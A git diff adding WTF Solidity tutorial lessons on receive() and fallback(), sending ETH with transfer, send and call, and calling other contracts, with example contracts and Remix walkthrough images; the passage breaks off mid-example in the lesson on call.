+++ b/SolidityBasics_Part2_Advanced/step4/Fallback.sol @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Fallback { + /* + Execute fallback() or receive()? + Receive ETH + | + msg.data is empty? + / \ + Yes No + / \ +Has receive()? fallback() + / \ + Yes No + / \ +receive() fallback() + */ + + // Events + event receivedCalled(address Sender, uint Value); + event fallbackCalled(address Sender, uint Value, bytes Data); + + // Emit Received event when receiving ETH + receive() external payable { + emit receivedCalled(msg.sender, msg.value); + } + + // fallback + fallback() external payable{ + emit fallbackCalled(msg.sender, msg.value, msg.data); + } +} diff --git a/SolidityBasics_Part2_Advanced/step4/img/19-1.jpg b/SolidityBasics_Part2_Advanced/step4/img/19-1.jpg new file mode 100644 index 000000000..6b71dc721 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step4/img/19-1.jpg differ diff --git a/SolidityBasics_Part2_Advanced/step4/img/19-2.jpg b/SolidityBasics_Part2_Advanced/step4/img/19-2.jpg new file mode 100644 index 000000000..f78cf3bee Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step4/img/19-2.jpg differ diff --git a/SolidityBasics_Part2_Advanced/step4/img/19-3.jpg b/SolidityBasics_Part2_Advanced/step4/img/19-3.jpg new file mode 100644 index 000000000..5bf5a28fb Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step4/img/19-3.jpg differ diff --git a/SolidityBasics_Part2_Advanced/step4/img/19-4.jpg b/SolidityBasics_Part2_Advanced/step4/img/19-4.jpg new file mode 100644 index 000000000..e6c39b1e4 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step4/img/19-4.jpg differ diff --git a/SolidityBasics_Part2_Advanced/step4/step1.md b/SolidityBasics_Part2_Advanced/step4/step1.md new file mode 100644 index 000000000..aa973957f --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step4/step1.md @@ -0,0 +1,99 @@ +--- +title: 19. Receive ETH +tags: + - solidity + - advanced + - wtfacademy + - receive + - fallback +--- + +# WTF Solidity Tutorial: 19. Receive ETH, receive and fallback + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +`Solidity` has two special functions, `receive()` and `fallback()`, they are primarily used in two circumstances. +1. Receive Ether +2. Handle calls to contract if none of the other functions match the given function signature (e.g. proxy contract) + +Note⚠️: Prior to solidity 0.6.x, only `fallback()` was available, for receiving Ether and as a fallback function. +After version 0.6, `fallback()` was separated to `receive()` and `fallback()`. + +In this tutorial, we focus on receiving Ether. + +## Receiving ETH Function: receive() +The `receive()` function is solely used for receiving `ETH`. A contract can have at most one `receive()` function, declared not like others, no `function` keyword is needed: `receive() external payable { ... }`. This function cannot have arguments, cannot return anything and must have `external` visibility and `payable` state mutability. + +`receive()` is executed on plain Ether transfers to a contract. You should not perform too many operations in `receive()` when sending Ether with `send` or `transfer`, only 2300 `gas` is available, and complicated operations will trigger an `Out of Gas` error; instead, you should use `call` function which can specify `gas` limit. (We will cover all three ways of sending Ether later). + +We can send an `event` in the `receive()` function, for example: +```solidity + // Declare event + event Received(address Sender, uint Value); + // Emit Received event + receive() external payable { + emit Received(msg.sender, msg.value); + } +``` + +Some malicious contracts intentionally add codes in `receive()` (`fallback()` prior to Solidity 0.6.x), which consume massive `gas` or cause the transaction to get reverted. So that will make some refund or transfer functions fail, pay attention to such risks when writing such operations. + +## Fallback Function: fallback() +The `fallback()` function is executed on a call to the contract if none of the other functions match the given function signature, or if no data was supplied at all and there is no receive Ether function. It can be used to receive Ether or in `proxy contract`. `fallback()` is declared without the `function` keyword, and must have `external` visibility, it often has `payable` state mutability, which is used to receive Ether: `fallback() external payable { ... }`. + +Let's declare a `fallback()` function, which will send a `fallbackCalled` event, with `msg.sender`, `msg.value` and `msg.data` as parameters: + +```solidity + event fallbackCalled(address Sender, uint Value, bytes Data); + + // fallback + fallback() external payable{ + emit fallbackCalled(msg.sender, msg.value, msg.data); + } +``` + +## Difference between receive and fallback +Both `receive` and `fallback` can receive `ETH`, they are triggered in such orders: +``` +Execute fallback() or receive()? + Receive ETH + | + msg.data is empty? + / \ + Yes No + / \ +Has receive()? fallback() + / \ + Yes No + / \ +receive() fallback() +``` +To put it simply, when a contract receives `ETH`, `receive()` will be executed if `msg.data` is empty and the `receive()` function is present; on the other hand, `fallback()` will be executed if `msg.data` is not empty or there is no `receive()` declared, in such case `fallback()` must be `payable`. + +If neither `receive()` or `payable fallback()` is declared in the contract, receiving `ETH` will fail. + + +## Test on Remix +1. First deploy "Fallback.sol" on Remix. +2. Put the value (in Wei) you want to send to the contract in "VALUE", then click "Transact". + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/19_Fallback_en/step1/img/19-1.jpg) + +3. The transaction succeeded, and the "receivedCalled" event emitted. + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/19_Fallback_en/step1/img/19-2.jpg) + +4. Put the value you want to send to the contract in "VALUE", and put any valid `msg.data` in "CALLDATA", and click "Transact". + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/19_Fallback_en/step1/img/19-3.jpg) + +5. The transaction succeeded, and the "fallbackCalled" event emitted. "fallbackCalled". + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/19_Fallback_en/step1/img/19-4.jpg) + + +## Summary +In this tutorial, we talked about two special functions in `Solidity`, `receive()` and `fallback()`, they are mostly used in receiving `ETH`, and `proxy contract`. + diff --git a/SolidityBasics_Part2_Advanced/step5/SendETH.sol b/SolidityBasics_Part2_Advanced/step5/SendETH.sol new file mode 100644 index 000000000..8ea7bffad --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step5/SendETH.sol @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// 3 ways to send ETH +// transfer: 2300 gas, revert +// send: 2300 gas, return bool +// call: all gas, return (bool, data) + +error SendFailed(); // error when sending with Send +error CallFailed(); // error when sending with Call + +contract SendETH { + // Constructor, make it payable so we can transfer ETH at deployment + constructor() payable{} + // receive function, called when receiving ETH + receive() external payable{} + + // sending ETH with transfer() + function transferETH(address payable _to, uint256 amount) external payable{ + _to.transfer(amount); + } + + // sending ETH with send() + function sendETH(address payable _to, uint256 amount) external payable{ + // check result of send(),revert with error when failed + bool success = _to.send(amount); + if(!success){ + revert SendFailed(); + } + } + + // sending ETH with call() + function callETH(address payable _to, uint256 amount) external payable{ + // check result of call(),revert with error when failed + (bool success,) = _to.call{value: amount}(""); + if(!success){ + revert CallFailed(); + } + } +} + +contract ReceiveETH { + // Receiving ETH event, log the amount and gas + event Log(uint amount, uint gas); + + // receive is executed when receiving ETH + receive() external payable{ + emit Log(msg.value, gasleft()); + } + + // return the balance of the contract + function getBalance() view public returns(uint) { + return address(this).balance; + } +} diff --git a/SolidityBasics_Part2_Advanced/step5/img/20-1.png b/SolidityBasics_Part2_Advanced/step5/img/20-1.png new file mode 100644 index 000000000..d1e6c264c Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step5/img/20-1.png differ diff --git a/SolidityBasics_Part2_Advanced/step5/img/20-2.png b/SolidityBasics_Part2_Advanced/step5/img/20-2.png new file mode 100644 index 000000000..e68219cfc Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step5/img/20-2.png differ diff --git a/SolidityBasics_Part2_Advanced/step5/img/20-3.png b/SolidityBasics_Part2_Advanced/step5/img/20-3.png new file mode 100644 index 000000000..223e5c1eb Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step5/img/20-3.png differ diff --git a/SolidityBasics_Part2_Advanced/step5/img/20-4.png b/SolidityBasics_Part2_Advanced/step5/img/20-4.png new file mode 100644 index 000000000..ce26ff59b Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step5/img/20-4.png differ diff --git a/SolidityBasics_Part2_Advanced/step5/img/20-5.png b/SolidityBasics_Part2_Advanced/step5/img/20-5.png new file mode 100644 index 000000000..5c9c5c180 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step5/img/20-5.png differ diff --git a/SolidityBasics_Part2_Advanced/step5/img/20-6.png b/SolidityBasics_Part2_Advanced/step5/img/20-6.png new file mode 100644 index 000000000..64a3d9735 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step5/img/20-6.png differ diff --git a/SolidityBasics_Part2_Advanced/step5/img/20-7.png b/SolidityBasics_Part2_Advanced/step5/img/20-7.png new file mode 100644 index 000000000..759b13898 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step5/img/20-7.png differ diff --git a/SolidityBasics_Part2_Advanced/step5/img/20-8.png b/SolidityBasics_Part2_Advanced/step5/img/20-8.png new file mode 100644 index 000000000..d1201ec55 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step5/img/20-8.png differ diff --git a/SolidityBasics_Part2_Advanced/step5/step1.md b/SolidityBasics_Part2_Advanced/step5/step1.md new file mode 100644 index 000000000..2f2957174 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step5/step1.md @@ -0,0 +1,149 @@ +--- +title: 20. Sending ETH +tags: + - solidity + - advanced + - wtfacademy + - transfer/send/call +--- + +# WTF Solidity Tutorial: 20. Sending ETH + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- +There are three ways of sending `ETH` in `Solidity`: `transfer()`, `send()` and `call()`, in which `call()` is recommended. + +## Contract of Receiving ETH + +Let's deploy a contract `ReceiveETH` to receive `ETH`. `ReceiveETH` has an event `Log`, which logs the received `ETH` amount and the remaining `gas`. Along with two other functions, one is the `receive()` function, which is executed when receiving `ETH`, and emits the `Log` event; the other is the `getBalance()` function that is used to get the balance of the contract. +```solidity +contract ReceiveETH { + // Receiving ETH event, log the amount and gas + event Log(uint amount, uint gas); + + // receive() is executed when receiving ETH + receive() external payable{ + emit Log(msg.value, gasleft()); + } + + // return the balance of the contract + function getBalance() view public returns(uint) { + return address(this).balance; + } +} +``` + +After deploying `ReceiveETH`, call the `getBalance()` function, we can see the balance is `0 Ether`. + +![20-1](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/20_SendETH_en/step1/img/20-1.png) + +## Contract of Sending ETH +We will implement three ways to send `ETH` to the `ReceiveETH` contract. First thing first, let's make the `constructor` of the `SendETH` contract `payable`, and add the `receive()` function, so we can transfer `ETH` to our contract at deployment and after. + +```solidity +contract SendETH { + // constructor, make it payable so we can transfer ETH at deployment + constructor() payable{} + // receive() function, called when receiving ETH + receive() external payable{} +} +``` + +### transfer + +- Usage: `receiverAddress.transfer(value in Wei)`. +- The `gas` limit of `transfer()` is `2300`, which is enough to make the transfer, but not if the receiving contract has a gas-consuming `fallback()` or `receive()`. +- If `transfer()` fails, the transaction will `revert`. + +Sample code: note that `_to` is the address of the `ReceiveETH` contract, and `amount` is the value you want to send. + +```solidity +// sending ETH with transfer() +function transferETH(address payable _to, uint256 amount) external payable{ + _to.transfer(amount); +} +``` + +After deploying the `SendETH` contract, we can send `ETH` to the `ReceiveETH` contract. If `amount` is 10, and `value` is 0, `amount`>`value`, the transaction fails and gets `reverted`. + +![20-2](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/20_SendETH_en/step1/img/20-2.png) + +If `amount` is 10, and `value` is 10, `amount`<=`value`, then the transaction will go through. + +![20-3](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/20_SendETH_en/step1/img/20-3.png) + +In the `ReceiveETH` contract, when we call `getBalance()`, we can see the balance of the contract is `10` Wei. + +![20-4](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/20_SendETH_en/step1/img/20-4.png) + +### send + +- Usage: `receiverAddress.send(value in Wei)`. +- The `gas` limit of `send()` is `2300`, which is enough to make the transfer, but not if the receiving contract has a gas-consuming `fallback()` or `receive()`. +- If `send()` fails, the transaction will not be `reverted`. +- The return value of `send()` is `bool`, which is the status of the transaction, you can choose to act on that. + +Sample Code: + +```solidity +// sending ETH with send() +function sendETH(address payable _to, uint256 amount) external payable{ + // check result of send(),revert with error when failed + bool success = _to.send(amount); + if(!success){ + revert SendFailed(); + } +} +``` + +Now we send `ETH` to the `ReceiveETH` contract, if `amount` is 10, and `value` is 0, `amount`>`value`, the transaction fails, since we handled the return value, the transaction will be `reverted`. + +![20-5](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/20_SendETH_en/step1/img/20-5.png) + +If `amount` is 10, and `value` is 11, `amount`<=`value`, the transaction is successful. + +![20-6](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/20_SendETH_en/step1/img/20-6.png) + +### call + +- Usage: `receiverAddress.call{value: value in Wei}("")`. +- There is no `gas` limit for `call()`, so it supports more operations in `fallback()` or `receive()` of the receiving contract. +- If `call()` fails, the transaction will not be `reverted`. +- The return value of `call()` is `(bool, data)`, in which `bool` is the status of the transaction, you can choose to act on that. + +Sample Code: + +```solidity +// sending ETH with call() +function callETH(address payable _to, uint256 amount) external payable{ + // check result of call(),revert with error when failed + (bool success, ) = _to.call{value: amount}(""); + if(!success){ + revert CallFailed(); + } +} +``` + +Now we send `ETH` to the `ReceiveETH` contract, if `amount` is 10, and `value` is 0, `amount`>`value`, the transaction fails, since we handled the return value, the transaction will be `reverted`. + +![20-7](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/20_SendETH_en/step1/img/20-7.png) + +If `amount` is 10, and `value` is 11, `amount`<=`value`, the transaction is successful. + +![20-8](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/20_SendETH_en/step1/img/20-8.png) + +With any of these three methods, we send `ETH` to the `ReceiveETH` contract successfully. + +## Summary + +In this tutorial, we talked about three ways of sending `ETH` in `solidity`: +`transfer`, `send` and `call`. + +- There is no `gas` limit for `call`, which is the most flexible and recommended way; +- The `gas` limit of `transfer` is `2300 gas`, transaction will be `reverted` if it fails, which makes it the second choice; +- The `gas` limit of `send` is `2300`, the transaction will not be `reverted` if it fails, which makes it the worst choice. diff --git a/SolidityBasics_Part2_Advanced/step6/CallContract.sol b/SolidityBasics_Part2_Advanced/step6/CallContract.sol new file mode 100644 index 000000000..b81cb5f2d --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step6/CallContract.sol @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract OtherContract { + uint256 private _x = 0; // state variable x + // Receiving ETH event, log the amount and gas + event Log(uint amount, uint gas); + + // get the balance of the contract + function getBalance() view public returns(uint) { + return address(this).balance; + } + + // set the value of x, as well as receiving ETH (payable) + function setX(uint256 x) external payable{ + _x = x; + // emit Log event when receiving ETH + if(msg.value > 0){ + emit Log(msg.value, gasleft()); + } + } + + // read the value of x + function getX() external view returns(uint x){ + x = _x; + } +} + +contract CallContract{ + function callSetX(address _Address, uint256 x) external{ + OtherContract(_Address).setX(x); + } + + function callGetX(OtherContract _Address) external view returns(uint x){ + x = _Address.getX(); + } + + function callGetX2(address _Address) external view returns(uint x){ + OtherContract oc = OtherContract(_Address); + x = oc.getX(); + } + + function setXTransferETH(address otherContract, uint256 x) payable external{ + OtherContract(otherContract).setX{value: msg.value}(x); + } +} diff --git a/SolidityBasics_Part2_Advanced/step6/img/21-1.png b/SolidityBasics_Part2_Advanced/step6/img/21-1.png new file mode 100644 index 000000000..2f9afb4db Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step6/img/21-1.png differ diff --git a/SolidityBasics_Part2_Advanced/step6/img/21-2.png b/SolidityBasics_Part2_Advanced/step6/img/21-2.png new file mode 100644 index 000000000..2d32bc7be Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step6/img/21-2.png differ diff --git a/SolidityBasics_Part2_Advanced/step6/img/21-3.png b/SolidityBasics_Part2_Advanced/step6/img/21-3.png new file mode 100644 index 000000000..695e70fb0 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step6/img/21-3.png differ diff --git a/SolidityBasics_Part2_Advanced/step6/img/21-4.png b/SolidityBasics_Part2_Advanced/step6/img/21-4.png new file mode 100644 index 000000000..913bbdb98 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step6/img/21-4.png differ diff --git a/SolidityBasics_Part2_Advanced/step6/img/21-5.png b/SolidityBasics_Part2_Advanced/step6/img/21-5.png new file mode 100644 index 000000000..021fb2985 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step6/img/21-5.png differ diff --git a/SolidityBasics_Part2_Advanced/step6/img/21-6.png b/SolidityBasics_Part2_Advanced/step6/img/21-6.png new file mode 100644 index 000000000..2da52e328 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step6/img/21-6.png differ diff --git a/SolidityBasics_Part2_Advanced/step6/img/21-7.png b/SolidityBasics_Part2_Advanced/step6/img/21-7.png new file mode 100644 index 000000000..66baf9f0c Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step6/img/21-7.png differ diff --git a/SolidityBasics_Part2_Advanced/step6/img/21-8.png b/SolidityBasics_Part2_Advanced/step6/img/21-8.png new file mode 100644 index 000000000..ac72ea7a3 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step6/img/21-8.png differ diff --git a/SolidityBasics_Part2_Advanced/step6/img/21-9.png b/SolidityBasics_Part2_Advanced/step6/img/21-9.png new file mode 100644 index 000000000..03cfc0e68 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step6/img/21-9.png differ diff --git a/SolidityBasics_Part2_Advanced/step6/step1.md b/SolidityBasics_Part2_Advanced/step6/step1.md new file mode 100644 index 000000000..e4e624daa --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step6/step1.md @@ -0,0 +1,132 @@ +--- +title: 21. Interact with Contract +tags: + - solidity + - advanced + - wtfacademy + - call contract +--- + +# WTF Solidity Tutorial: 21. Interact with other Contract + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +## Interact with deployed contract + +Interactions between contracts not only make the programs reusable on the blockchain, but also enrich the Ethereum ecosystem. Many `web3` Dapps rely on other contracts to work, for example `yield farming`. In this tutorial, we will talk about how to interact with contracts whose source code (or ABI) and address are available. + +## Target Contract +Let's write a simple contract `OtherContract` to work with. + +```solidity +contract OtherContract { + uint256 private _x = 0; // state variable x + // Receiving ETH event, log the amount and gas + event Log(uint amount, uint gas); + + // get the balance of the contract + function getBalance() view public returns(uint) { + return address(this).balance; + } + + // set the value of x, as well as receiving ETH (payable) + function setX(uint256 x) external payable{ + _x = x; + // emit Log event when receiving ETH + if(msg.value > 0){ + emit Log(msg.value, gasleft()); + } + } + + // read the value of x + function getX() external view returns(uint x){ + x = _x; + } +} +``` + +This contract includes a state variable `_x`, a `Log` event which will emit when receiving `ETH`, and three functions: +- `getBalance()`: return the balance of the contract. +- `setX()`: `external payable` function, set the value of `_x`, as well as receiving `ETH`. +- `getX()`: read the value of `_x` + +## Interact with `OtherContract` +We can create a reference to the contract with the contract address and source code (or ABI): `_Name(_Address)`, `_Name` is the contract name which should be consistent with the contract source code (or ABI), `_Address` is the contract address. Then we can call the functions in the contract like this: `_Name(_Address).f()`, `f()` is the function you want to call. + +Here are four examples of interacting with contracts, compile and deploy these two contracts: `OtherContract` and `CallContract`: + +![deploy contract0 in remix](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/21_CallContract_en/step1/img/21-1.png) + +![deploy contract1 in remix](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/21_CallContract_en/step1/img/21-2.png) + +![deploy contract2 in remix](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/21_CallContract_en/step1/img/21-3.png) + +### 1. Pass the contract address +We can pass the contract address as a parameter and create a reference of `OtherContract`, then call the function of `OtherContract`. For example, here we create a `callSetX` function which will call `setX` from `OtherContract`, pass the deployed contract address `_Address` and the `x` value as parameter: + +```solidity + function callSetX(address _Address, uint256 x) external{ + OtherContract(_Address).setX(x); + } +``` + +Copy the address of `OtherContract`, and pass it as the first parameter of `callSetX`, after the transaction succeeds, we can call `getX` from `OtherContract` and the value of `x` is 123. + +![call contract1 in remix](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/21_CallContract_en/step1/img/21-4.png) + +![call contract2 in remix](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/21_CallContract_en/step1/img/21-5.png) + +### 2. Pass the contract variable +We can also pass the reference of the contract as a parameter, we just change the type from `address` to the contract name, i.e. `OtherContract`. The following example shows how to call `getX()` from `OtherContract`. + +**Note:** The parameter `OtherContract _Address` is still `address` type behind the scene. You will find its `address` type in the generated `ABI` and when passing the parameter to `callGetX`. + +```solidity + function callGetX(OtherContract _Address) external view returns(uint x){ + x = _Address.getX(); + } +``` + +Copy the address of `OtherContract`, and pass it as the parameter of `callGetX`, after the transaction succeeds, we can get the value of `x`. + +![call contract3 in remix](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/21_CallContract_en/step1/img/21-6.png) + +### 3. Create contract variable +We can create a contract variable and call its functions. The following example shows how to create a reference of `OtherContract` and save it to `oc`: + +```solidity + function callGetX2(address _Address) external view returns(uint x){ + OtherContract oc = OtherContract(_Address); + x = oc.getX(); + } +``` +Copy the address of `OtherContract`, and pass it as the parameter of `callGetX2 `, after the transaction succeeds, we can get the value of `x`. + +![call contract4 in remix](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/21_CallContract_en/step1/img/21-7.png) + +### 4. Interact with the contract and send `ETH` +If the target function is `payable`, then we can also send `ETH` to that contract: `_Name(_Address).f{value: _Value}()`, `_Name`is the contract name, `_Address` is the contract address, `f` is the function to call, and `_Value` is the value of `ETH` to send (in `wei`). + +`OtherContract` has a `payable` function `setX`, in the following example we will send `ETH` to the contract by calling `setX`. +```solidity + function setXTransferETH(address otherContract, uint256 x) payable external{ + OtherContract(otherContract).setX{value: msg.value}(x); + } +``` + +Copy the address of `OtherContract`, and pass it as the parameter of `setXTransferETH `, in addition, we send 10ETH. + +![call contract5 in remix](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/21_CallContract_en/step1/img/21-8.png) + +After the transaction is confirmed, we can check the balance of the contract by reading the `Log` event or by calling `getBalance()`. + +![call contract6 in remix](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/21_CallContract_en/step1/img/21-9.png) + +## Summary +In this tutorial, we talked about how to create a contract reference with its source code (or ABI) and address, then call its functions. diff --git a/SolidityBasics_Part2_Advanced/step7/Call.sol b/SolidityBasics_Part2_Advanced/step7/Call.sol new file mode 100644 index 000000000..73c3bcebb --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step7/Call.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract OtherContract { + uint256 private _x = 0; // state variable x + // Receiving ETH event, log the amount and gas + event Log(uint amount, uint gas); + + fallback() external payable{} + + // get the balance of the contract + function getBalance() view public returns(uint) { + return address(this).balance; + } + + // set the value of _x, as well as receiving ETH (payable) + function setX(uint256 x) external payable{ + _x = x; + // emit Log event when receiving ETH + if(msg.value > 0){ + emit Log(msg.value, gasleft()); + } + } + + // read the value of x + function getX() external view returns(uint x){ + x = _x; + } +} + +contract Call{ + // Declare Response event, with parameters success and data + event Response(bool success, bytes data); + + function callSetX(address payable _addr, uint256 x) public payable { + // call setX() and send ETH + (bool success, bytes memory data) = _addr.call{value: msg.value}( + abi.encodeWithSignature("setX(uint256)", x) + ); + + emit Response(success, data); //emit event + } + + function callGetX(address _addr) external returns(uint256){ + // call getX() + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("getX()") + ); + + emit Response(success, data); //emit event + return abi.decode(data, (uint256)); + } + + function callNonExist(address _addr) external{ + // call getX() + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("foo(uint256)") + ); + + emit Response(success, data); //emit event + } +} diff --git a/SolidityBasics_Part2_Advanced/step7/img/22-1.png b/SolidityBasics_Part2_Advanced/step7/img/22-1.png new file mode 100644 index 000000000..68362face Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step7/img/22-1.png differ diff --git a/SolidityBasics_Part2_Advanced/step7/img/22-2.png b/SolidityBasics_Part2_Advanced/step7/img/22-2.png new file mode 100644 index 000000000..fc6cf96c8 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step7/img/22-2.png differ diff --git a/SolidityBasics_Part2_Advanced/step7/img/22-3.png b/SolidityBasics_Part2_Advanced/step7/img/22-3.png new file mode 100644 index 000000000..3c92a1f34 Binary files /dev/null and b/SolidityBasics_Part2_Advanced/step7/img/22-3.png differ diff --git a/SolidityBasics_Part2_Advanced/step7/step1.md b/SolidityBasics_Part2_Advanced/step7/step1.md new file mode 100644 index 000000000..0667bba55 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/step7/step1.md @@ -0,0 +1,159 @@ +--- +title: 22. Call +tags: + - solidity + - advanced + - wtfacademy + - call contract + - call +--- + +# WTF Solidity Tutorial: 22. Call + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Previously in [20: Sending ETH](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/20_SendETH_en) we talked about sending `ETH` with `call`, in this tutorial we will dive into that. + +## Call +`call` is one of the `address` low-level functions which is used to interact with other contracts. It returns the success condition and the returned data: `(bool, data)`. + +- Officially recommended by `solidity`, `call` is used to send `ETH` by triggering `fallback` or `receive` functions. +- `call` is not recommended for interacting with other contracts, because you give away the control when calling a malicious contract. The recommended way is to create a contract reference and call its functions. See [21: Interact with other Contract](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/21_CallContract_en) +- If the source code or `ABI` is not available, we cannot create a contract variable; However, we can still interact with other contracts using `call` function. + +### Rules of using `call` +Rules of using `call`: +``` +targetContractAddress.call(binary code); +``` +the `binary code` is generated by `abi.encodeWithSignature`: +``` +abi.encodeWithSignature("function signature", parameters separated by comma) +``` +`function signature` is `"functionName(parameters separated by comma)"`. For example, `abi.encodeWithSignature("f(uint256,address)", _x, _addr)`。 + +In addition, we can specify the value of `ETH` and `gas` for the transaction when using `call`: + +``` +contractAdress.call{value:ETH value, gas:gas limit}(binary code); +``` + +It looks a bit complicated, lets see how to use `call` in examples. + +### Target contract +Let's write and deploy a simple target contract `OtherContract`, the code is mostly the same as chapter 19, only with an extra `fallback` function。 + +```solidity +contract OtherContract { + uint256 private _x = 0; // state variable x + // Receiving ETH event, log the amount and gas + event Log(uint amount, uint gas); + + fallback() external payable{} + + // get the balance of the contract + function getBalance() view public returns(uint) { + return address(this).balance; + } + + // set the value of _x, as well as receiving ETH (payable) + function setX(uint256 x) external payable{ + _x = x; + // emit Log event when receiving ETH + if(msg.value > 0){ + emit Log(msg.value, gasleft()); + } + } + + // read the value of x + function getX() external view returns(uint x){ + x = _x; + } +} +``` + +This contract includes a state variable `x`, a `Log` event for receiving `ETH`, and three functions: +- `getBalance()`: get the balance of the contract +- `setX()`: `external payable` function, can be used to set the value of `x` and receive `ETH`. +- `getX()`: get the value of `x`. + +### Contract interaction using `call` +**1. Response Event** + +Let's write a `Call` contract to interact with the target functions in `OtherContract`. First, we declare the `Response` event, which takes `success` and `data` returned from `call` as parameters. So we can check the return values. + + +```solidity +// Declare Response event, with parameters success and data +event Response(bool success, bytes data); +``` + +**2. Call setX function** + +Now we declare the `callSetX` function to call the target function `setX()` in `OtherContract`. Meanwhile, we send `msg.value` of `ETH`, then emit the `Response` event, with `success` and `data` as parameters: + +```solidity +function callSetX(address payable _addr, uint256 x) public payable { + // call setX(),and send ETH + (bool success, bytes memory data) = _addr.call{value: msg.value}( + abi.encodeWithSignature("setX(uint256)", x) + ); + + emit Response(success, data); //emit event +} +``` + +Now we call `callSetX` to change state variable `_x` to 5, pass the `OtherContract` address and `5` as parameters, since `setX()` does not have a return value, so `data` is `0x` (i.e. Null) in `Response` event. + + +![22-1](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/22_Call_en/step1/img/22-1.png) + +**3. Call getX function** + +Next, we call `getX()` function, and it will return the value of `_x` in `OtherContract`, the type is `uint256`. We can decode the return value from `call` function, and get its value. + + +```solidity +function callGetX(address _addr) external returns(uint256){ + // call getX() + (bool 